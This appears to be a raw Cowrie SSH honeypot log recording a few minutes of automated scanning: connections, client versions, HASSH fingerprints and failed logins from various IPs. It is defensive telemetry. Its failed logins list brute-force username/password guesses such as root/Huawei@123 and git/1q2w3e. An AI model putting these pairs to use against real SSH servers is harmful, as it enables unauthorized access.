{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:58.209611Z","src_ip":"113.161.222.150","session":"ea4294a8a55c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd123!","message":"login attempt [root/Abcd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:59.195040Z","src_ip":"113.161.222.150","session":"ea4294a8a55c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":40820,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b0ee1e26a4e","protocol":"ssh","message":"New connection: 103.199.16.90:40820 (159.203.135.109:22) [session: 0b0ee1e26a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:59.769341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:25:59.776292Z","src_ip":"103.199.16.90","session":"0b0ee1e26a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:00.012747Z","src_ip":"103.199.16.90","session":"0b0ee1e26a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:00.439363Z","src_ip":"113.161.222.150","session":"ea4294a8a55c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nina","password":"nina","message":"login attempt [nina/nina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:00.913936Z","src_ip":"103.199.16.90","session":"0b0ee1e26a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:02.145575Z","src_ip":"103.199.16.90","session":"0b0ee1e26a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:04.333117Z","src_ip":"8.210.75.243","session":"0707363f9150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":53994,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd79e6d8da99","protocol":"ssh","message":"New connection: 68.207.224.247:53994 (159.203.135.109:22) [session: cd79e6d8da99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:05.663132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:05.667209Z","src_ip":"68.207.224.247","session":"cd79e6d8da99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:05.710758Z","src_ip":"68.207.224.247","session":"cd79e6d8da99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:05.906996Z","src_ip":"68.207.224.247","session":"cd79e6d8da99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:06.953651Z","src_ip":"68.207.224.247","session":"cd79e6d8da99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2490,"dst_ip":"159.203.135.109","dst_port":22,"session":"65df3ba8dfb3","protocol":"ssh","message":"New connection: 196.188.93.169:2490 (159.203.135.109:22) [session: 65df3ba8dfb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:12.195971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:12.200005Z","src_ip":"196.188.93.169","session":"65df3ba8dfb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:12.368845Z","src_ip":"196.188.93.169","session":"65df3ba8dfb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sam123","message":"login attempt [root/sam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:13.078072Z","src_ip":"196.188.93.169","session":"65df3ba8dfb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:14.249130Z","src_ip":"196.188.93.169","session":"65df3ba8dfb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":54890,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec3439669179","protocol":"ssh","message":"New connection: 178.20.210.208:54890 (159.203.135.109:22) [session: ec3439669179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:14.694046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:14.698624Z","src_ip":"178.20.210.208","session":"ec3439669179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:14.796809Z","src_ip":"178.20.210.208","session":"ec3439669179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSXcde3","message":"login attempt [root/1qaz2WSXcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:15.182159Z","src_ip":"178.20.210.208","session":"ec3439669179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:16.351810Z","src_ip":"178.20.210.208","session":"ec3439669179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":46118,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cf9a1c63800","protocol":"ssh","message":"New connection: 159.65.58.200:46118 (159.203.135.109:22) [session: 0cf9a1c63800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:20.190749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:20.330955Z","src_ip":"159.65.58.200","session":"0cf9a1c63800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:20.334255Z","src_ip":"159.65.58.200","session":"0cf9a1c63800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stimula","password":"123456","message":"login attempt [stimula/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:21.409192Z","src_ip":"159.65.58.200","session":"0cf9a1c63800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:22.726387Z","src_ip":"159.65.58.200","session":"0cf9a1c63800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":41988,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e935d73ca10","protocol":"ssh","message":"New connection: 122.176.122.24:41988 (10.17.0.5:22) [session: 4e935d73ca10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:26.354094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:26.358089Z","src_ip":"122.176.122.24","session":"4e935d73ca10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:26.623566Z","src_ip":"122.176.122.24","session":"4e935d73ca10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1q2w3e","message":"login attempt [git/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:27.744283Z","src_ip":"122.176.122.24","session":"4e935d73ca10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:29.012053Z","src_ip":"122.176.122.24","session":"4e935d73ca10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":50834,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bb452e4f819","protocol":"ssh","message":"New connection: 91.92.40.4:50834 (10.17.0.5:22) [session: 3bb452e4f819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:31.408698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:31.412527Z","src_ip":"91.92.40.4","session":"3bb452e4f819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:31.493399Z","src_ip":"91.92.40.4","session":"3bb452e4f819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwerty123456","message":"login attempt [git/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:31.744229Z","src_ip":"91.92.40.4","session":"3bb452e4f819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:32.827909Z","src_ip":"91.92.40.4","session":"3bb452e4f819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:34.970843Z","src_ip":"8.210.75.243","session":"3120aa0435b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":47030,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8d926a1b175","protocol":"ssh","message":"New connection: 45.94.68.69:47030 (159.203.135.109:22) [session: e8d926a1b175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:44.679628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:44.683644Z","src_ip":"45.94.68.69","session":"e8d926a1b175","protocol":"ssh"}
